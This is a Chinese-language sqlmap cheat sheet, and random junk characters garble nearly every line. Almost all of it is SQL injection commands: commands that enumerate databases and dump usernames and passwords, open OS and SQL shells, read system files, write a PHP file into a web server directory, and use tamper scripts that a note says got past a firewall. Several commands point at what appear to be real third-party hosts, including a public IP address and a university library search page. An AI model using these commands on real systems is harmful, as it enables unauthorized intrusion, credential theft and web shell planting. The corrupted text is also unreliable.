/pentest/database/sqlmap
/ z, d- Y5 e7 [8 c
1 v! Q2 e0 u. v- Mupdate :::::> in the folder after execute following order : svn update0 ?; ~0 {+ n; }" W
/ m; s5 C& r4 S! _5 Q& c6 ^
sqlmap.py -r 1.txt --current-db; m7 |5 m/ B- h" u
( n( _& u, H; y# I/ x# b" [- ~! c7 jv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”: J) |# o. x# J7 ?) ~
0 P, Y! c0 P/ Y
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) . e: z. Y) |* r9 ]8 o: J$ r. e
猜解数据库
7 R0 n" f7 u$ h+ j./sqlmap.py -u "injection-url" --dbs
) s( z* B; ~- n' c4 y* p8 Hsqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
% G T7 V( r+ i! j- G
# Z% q! G I& q4 t I+ l; k, W- f猜解表名* {# S! f- ^& M$ r: q: H
./sqlmap.py -u "injection-url" -D database_name --tables3 t# N/ N. ]4 ~% _
1 w) A. K! D+ g K" f. g _( j9 Vsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
8 \" w% l1 p8 C, qsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
3 P J5 \# ]* n. a' c3 J2 u. l# F9 @) k1 O: a& J/ \) @
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump2 N8 Z1 I% V8 j( L: l4 J
9 z- @6 w: v/ `) M9 _1 Ksqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
4 `0 [/ a- E( `; q O) W* dsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
3 I! f" U6 {+ usqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" 1 O# u, W& |1 V/ x7 n) p& c- t
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"/ {4 J6 q- s m
/ m, r( G7 J9 E- G* G3 u/ y0 v3 [" Vsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
2 m' o3 Q; e* u% ^5 M( p: Usqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
# X% e& q. F! \! lsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
3 d& f' R8 m+ @3 j8 F# g- Qsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"( b. `; T, Z0 ?+ H
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump* |) a# q7 d/ e: a9 R5 ^% d& n
: @: p, w9 f2 |/ ?sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了! ~4 ]$ r! u# W8 p$ D- k
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
0 [( J* x$ ~; b8 I$ O
+ k) v' m. [3 X7 A- [; z0 i! csqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
3 ~; s' [7 Q8 L9 a: }% w2 N猜解列名
; }# P6 T4 H, M: i./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
$ t$ K. K& |( L9 u/ q. Q5 h3 c9 G) I# o2 A) Z
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" " L5 x. ]# [) H: G& X
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
3 o+ a- w5 I1 Q: xsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
& h6 J6 e& z; m; Y; J, _
: q1 ?. _( k7 b/ S+ |% Osqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"' z) X) F$ q9 o; ~1 _# \ b8 \
&submit=Go% R: h( _2 {0 X/ W v: n
猜解值
! A! |9 ~) v, x! c B& O/ a) e./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
0 T8 _, b. h9 n! [8 E========================================================; `3 X+ ]. g: F7 [' E' p
搜索表名中包括mana字符的7 ~7 `2 P& o; E, Z
/sqlmap.py -u "injection-url" -T mana --search0 o% @5 e, Z0 d8 j; i4 E9 U: c
返回一个交互式sql shell
9 \0 J; n4 ~6 F: W' _& c/ P/sqlmap.py -u "injection-url" --sql-shell9 b8 R6 s! E; s8 ]
读取指定文件(需权限)0 D5 u9 h6 S7 {; |8 M* l
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"& ~6 p& g; S. z$ P
查看当前 用户 及 数据库
$ D4 v" P9 G/ Z/sqlmap.py -u "injection-url" --current-user --current-db# P& o6 f6 O' U! H; M# }3 f/ Q2 Z: o
本地文件 写入 远程目标绝对路径0 ^* ]9 J2 e* c. S5 z% o/ P U9 |# P
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径3 a$ E( G4 D/ O) S3 Z
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" & J$ l \1 Y1 I# ]
( {1 l* d+ o2 ^5 p0 R7 X
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径/ j/ v9 {9 v5 {/ B1 z0 z* k
查看某用的权限
. G* w, M+ C5 j. q( y- j+ I/sqlmap.py -u "injection-url" --privileges -U root4 r, T: U: A$ h% a/ m
查看当前用户是否为dba8 L* ^1 o# V( M1 q# o3 c
/sqlmap.py -u "injection-url" --is-dba8 @% i" n4 \+ s, {
读取所有数据库用户或指定数据库用户的密码
* i8 _$ l$ D S2 S8 C1 Csqlmap.py -r 1.txt --users --passwords3 M. ^5 a: @9 p4 a
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" 8 r, x& m# |8 v
+ B1 f5 o+ S( o: k9 b |4 Z8 A
/sqlmap.py -u "injection-url" --passwords -U root. q: p d" J" K& f( a2 n" A8 E
0 i d, K9 n1 w- I" ? N
--start&&--stop 与 --first&&--last 的区别6 J& q" K; t x! u9 }
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……): ^8 x( C+ ]# A( W: {4 [
/ v3 R- ]( L7 M9 h% |& m
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
1 e5 o- Z0 y# B# y' d, _0 t% d/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables8 } G, {2 V! H* h" O4 B" J
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns6 n* b" }8 v, X- p3 {& F* r
0 |- t7 y/ O/ f" B. ^! _4 X7 j
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
. z0 k9 x9 l+ z4 u/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
' M. z7 k2 [& g) w/ [( q* ~& Y# e S# x0 c( s( ?; D$ x
|